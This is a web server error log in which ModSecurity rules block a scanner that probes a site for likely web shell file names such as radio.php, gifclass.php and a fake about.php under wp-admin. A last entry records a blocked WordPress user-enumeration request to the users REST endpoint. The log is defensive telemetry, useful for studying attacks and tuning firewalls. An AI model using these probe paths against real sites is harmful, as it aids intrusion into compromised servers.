[Thu Feb 12 18:06:48.039882 2026] [:error] [pid 63418:tid 63498] [client 20.215.248.189:37285] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aY2mONzjh-bbJnStPZKhRwAAAJY"]
[Thu Feb 12 18:06:51.072139 2026] [:error] [pid 63416:tid 63442] [client 20.215.248.189:47851] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aY2mO72wmecPaCHcM2-IQQAAAZU"]
[Thu Feb 12 18:06:52.699063 2026] [:error] [pid 63417:tid 63449] [client 20.215.248.189:47825] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aY2mPP8gSb97qRMtXCKqdwAAAEA"]
[Thu Feb 12 18:06:54.268847 2026] [:error] [pid 65064:tid 65085] [client 20.215.248.189:57312] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aY2mPhOvRgscTcqsMBmR7QAAANI"]
[Thu Feb 12 18:06:57.453624 2026] [:error] [pid 63416:tid 63430] [client 20.215.248.189:43958] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aY2mQb2wmecPaCHcM2-IXwAAAYk"]
[Thu Feb 12 18:07:00.224563 2026] [:error] [pid 63511:tid 63536] [client 20.215.248.189:36313] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aY2mRKQCQbD5BgeyIk3O9wAAABc"]
[Thu Feb 12 18:07:01.460234 2026] [:error] [pid 63416:tid 63440] [client 20.215.248.189:42661] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aY2mRb2wmecPaCHcM2-IbgAAAZM"]
[Thu Feb 12 18:07:04.223725 2026] [:error] [pid 65064:tid 65072] [client 20.215.248.189:41368] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aY2mSBOvRgscTcqsMBmSEgAAAMU"]
[Thu Feb 12 18:07:08.451081 2026] [:error] [pid 63417:tid 63473] [client 20.215.248.189:47852] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aY2mTP8gSb97qRMtXCKqrAAAAFg"]
[Thu Feb 12 18:07:11.437492 2026] [:error] [pid 63511:tid 63519] [client 20.215.248.189:43931] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aY2mT6QCQbD5BgeyIk3PEgAAAAY"]
[Thu Feb 12 18:07:15.089886 2026] [:error] [pid 65064:tid 65077] [client 20.215.248.189:52232] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aY2mUxOvRgscTcqsMBmSNgAAAMo"]
[Thu Feb 12 18:07:16.976647 2026] [:error] [pid 63416:tid 63435] [client 20.215.248.189:39346] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aY2mVL2wmecPaCHcM2-IhgAAAY4"]
[Thu Feb 12 18:07:19.288879 2026] [:error] [pid 63418:tid 63494] [client 20.215.248.189:39316] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aY2mV9zjh-bbJnStPZKhewAAAJI"]
[Thu Feb 12 18:07:20.973261 2026] [:error] [pid 63416:tid 63426] [client 20.215.248.189:61122] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aY2mWL2wmecPaCHcM2-IlgAAAYU"]
[Thu Feb 12 18:07:22.594857 2026] [:error] [pid 65064:tid 65067] [client 20.215.248.189:53248] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aY2mWhOvRgscTcqsMBmSRAAAAMA"]
[Thu Feb 12 18:07:26.274281 2026] [:error] [pid 65064:tid 65077] [client 20.215.248.189:61163] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aY2mXhOvRgscTcqsMBmSVQAAAMo"]
[Thu Feb 12 18:07:27.381746 2026] [:error] [pid 63416:tid 63427] [client 20.215.248.189:35599] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aY2mX72wmecPaCHcM2-ItwAAAYY"]
[Thu Feb 12 18:07:28.813518 2026] [:error] [pid 63417:tid 63467] [client 20.215.248.189:39343] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aY2mYP8gSb97qRMtXCKqzgAAAFI"]
[Thu Feb 12 18:07:31.061135 2026] [:error] [pid 63511:tid 63518] [client 20.215.248.189:37212] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aY2mY6QCQbD5BgeyIk3POgAAAAU"]
[Thu Feb 12 18:07:35.439519 2026] [:error] [pid 65064:tid 65070] [client 20.215.248.189:57341] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aY2mZxOvRgscTcqsMBmSfwAAAMM"]
[Thu Feb 12 18:07:39.703409 2026] [proxy_fcgi:error] [pid 65064:tid 65087] [client 20.215.248.189:35637] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:07:40.291224 2026] [proxy_fcgi:error] [pid 65064:tid 65079] [client 20.215.248.189:35637] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:07:40.551173 2026] [proxy_fcgi:error] [pid 65064:tid 65076] [client 20.215.248.189:35637] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:07:40.810903 2026] [proxy_fcgi:error] [pid 65064:tid 65084] [client 20.215.248.189:35637] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:07:41.070254 2026] [proxy_fcgi:error] [pid 65064:tid 65071] [client 20.215.248.189:35637] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:07:41.330576 2026] [proxy_fcgi:error] [pid 65064:tid 65076] [client 20.215.248.189:35637] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:07:41.590837 2026] [proxy_fcgi:error] [pid 65064:tid 65087] [client 20.215.248.189:35637] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:07:41.850970 2026] [proxy_fcgi:error] [pid 65064:tid 65072] [client 20.215.248.189:35637] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:07:42.110971 2026] [proxy_fcgi:error] [pid 65064:tid 65069] [client 20.215.248.189:35637] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:07:42.374184 2026] [proxy_fcgi:error] [pid 65064:tid 65071] [client 20.215.248.189:35637] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:07:43.264193 2026] [proxy_fcgi:error] [pid 65064:tid 65068] [client 20.215.248.189:35637] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:07:43.520181 2026] [:error] [pid 65064:tid 65083] [client 20.215.248.189:35637] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aY2mbxOvRgscTcqsMBmSxQAAANA"]
[Thu Feb 12 18:07:45.618689 2026] [:error] [pid 63418:tid 63499] [client 20.215.248.189:39300] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aY2mcdzjh-bbJnStPZKhwgAAAJc"]
[Thu Feb 12 18:07:49.169734 2026] [:error] [pid 65064:tid 65079] [client 20.215.248.189:37236] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aY2mdROvRgscTcqsMBmS0wAAAMw"]
[Thu Feb 12 18:07:50.565092 2026] [:error] [pid 65064:tid 65077] [client 20.215.248.189:43307] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aY2mdhOvRgscTcqsMBmS2QAAAMo"]
[Thu Feb 12 18:07:52.545887 2026] [:error] [pid 65064:tid 65085] [client 20.215.248.189:43904] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aY2meBOvRgscTcqsMBmS4QAAANI"]
[Thu Feb 12 18:07:53.391186 2026] [:error] [pid 63417:tid 63464] [client 20.215.248.189:3336] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aY2mef8gSb97qRMtXCKrAwAAAE8"]
[Thu Feb 12 18:07:54.829691 2026] [:error] [pid 63418:tid 63500] [client 20.215.248.189:35587] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aY2metzjh-bbJnStPZKh0wAAAJg"]
[Thu Feb 12 18:07:56.351341 2026] [:error] [pid 63416:tid 63443] [client 20.215.248.189:43324] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aY2mfL2wmecPaCHcM2-I7AAAAZY"]
[Thu Feb 12 18:07:57.170945 2026] [:error] [pid 65064:tid 65076] [client 20.215.248.189:35618] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aY2mfROvRgscTcqsMBmS7wAAAMk"]
[Thu Feb 12 18:07:58.329976 2026] [:error] [pid 65064:tid 65069] [client 20.215.248.189:39245] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aY2mfhOvRgscTcqsMBmS9QAAAMI"]
[Thu Feb 12 18:07:59.100962 2026] [:error] [pid 65064:tid 65076] [client 20.215.248.189:3628] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aY2mfxOvRgscTcqsMBmS-QAAAMk"]
[Thu Feb 12 18:08:00.215615 2026] [:error] [pid 63418:tid 63482] [client 20.215.248.189:52855] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aY2mgNzjh-bbJnStPZKh2AAAAIY"]
[Thu Feb 12 18:08:01.891337 2026] [:error] [pid 63511:tid 63525] [client 20.215.248.189:43278] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xaz.php"] [unique_id "aY2mgaQCQbD5BgeyIk3PiwAAAAw"]
[Thu Feb 12 18:08:03.147393 2026] [:error] [pid 63418:tid 63476] [client 20.215.248.189:35593] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xaz.php"] [unique_id "aY2mg9zjh-bbJnStPZKh3gAAAIA"]
[Thu Feb 12 18:08:04.671139 2026] [:error] [pid 63418:tid 63496] [client 20.215.248.189:3388] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xaz.php"] [unique_id "aY2mhNzjh-bbJnStPZKh5AAAAJQ"]
[Thu Feb 12 18:08:07.488510 2026] [:error] [pid 65064:tid 65075] [client 20.215.248.189:43290] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xaz.php"] [unique_id "aY2mhxOvRgscTcqsMBmTCwAAAMg"]
[Thu Feb 12 18:08:11.328174 2026] [:error] [pid 63418:tid 63485] [client 20.215.248.189:52854] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up4.php"] [unique_id "aY2mi9zjh-bbJnStPZKh7AAAAIk"]
[Thu Feb 12 18:08:16.564675 2026] [:error] [pid 63416:tid 63421] [client 20.215.248.189:39271] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up4.php"] [unique_id "aY2mkL2wmecPaCHcM2-JBgAAAYA"]
[Thu Feb 12 18:08:18.834938 2026] [:error] [pid 63511:tid 63534] [client 20.215.248.189:3623] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up4.php"] [unique_id "aY2mkqQCQbD5BgeyIk3PpAAAABU"]
[Thu Feb 12 18:08:21.641997 2026] [:error] [pid 63511:tid 63525] [client 20.215.248.189:39268] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up4.php"] [unique_id "aY2mlaQCQbD5BgeyIk3PrgAAAAw"]
[Thu Feb 12 18:08:25.904749 2026] [:error] [pid 63417:tid 63464] [client 20.215.248.189:52229] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aY2mmf8gSb97qRMtXCKrTwAAAE8"]
[Thu Feb 12 18:08:27.481435 2026] [:error] [pid 63511:tid 63521] [client 20.215.248.189:57377] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aY2mm6QCQbD5BgeyIk3PuQAAAAg"]
[Thu Feb 12 18:08:28.816639 2026] [:error] [pid 63417:tid 63449] [client 20.215.248.189:43276] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aY2mnP8gSb97qRMtXCKrYQAAAEA"]
[Thu Feb 12 18:08:31.023051 2026] [:error] [pid 63417:tid 63461] [client 20.215.248.189:3355] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aY2mn_8gSb97qRMtXCKrawAAAEw"]
[Thu Feb 12 18:08:33.123052 2026] [:error] [pid 63418:tid 63491] [client 20.215.248.189:39304] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aY2modzjh-bbJnStPZKiAwAAAI8"]
[Thu Feb 12 18:08:34.387678 2026] [:error] [pid 63416:tid 63443] [client 20.215.248.189:43266] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aY2mor2wmecPaCHcM2-JHAAAAZY"]
[Thu Feb 12 18:08:36.123506 2026] [:error] [pid 65064:tid 65085] [client 20.215.248.189:3333] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aY2mpBOvRgscTcqsMBmTXgAAANI"]
[Thu Feb 12 18:08:38.929330 2026] [:error] [pid 63417:tid 63472] [client 20.215.248.189:35586] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aY2mpv8gSb97qRMtXCKrdgAAAFc"]
[Thu Feb 12 18:08:40.658343 2026] [:error] [pid 63416:tid 63442] [client 20.215.248.189:43265] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtz.php"] [unique_id "aY2mqL2wmecPaCHcM2-JIwAAAZU"]
[Thu Feb 12 18:08:42.304400 2026] [:error] [pid 63417:tid 63457] [client 20.215.248.189:3218] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtz.php"] [unique_id "aY2mqv8gSb97qRMtXCKrgAAAAEg"]
[Thu Feb 12 18:08:43.955189 2026] [proxy_fcgi:error] [pid 65064:tid 65080] [client 20.215.248.189:3591] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:08:44.217148 2026] [proxy_fcgi:error] [pid 65064:tid 65086] [client 20.215.248.189:3591] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:08:44.477465 2026] [proxy_fcgi:error] [pid 65064:tid 65084] [client 20.215.248.189:3591] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:08:44.738016 2026] [proxy_fcgi:error] [pid 65064:tid 65085] [client 20.215.248.189:3591] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:08:45.378432 2026] [proxy_fcgi:error] [pid 65064:tid 65089] [client 20.215.248.189:3591] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:08:46.101568 2026] [proxy_fcgi:error] [pid 65064:tid 65083] [client 20.215.248.189:3591] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:18:21.214433 2026] [:error] [pid 63417:tid 63464] [client 45.9.251.121:44038] [client 45.9.251.121] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aY2o7f8gSb97qRMtXCKvygAAAE8"], referer: https://www.google.com
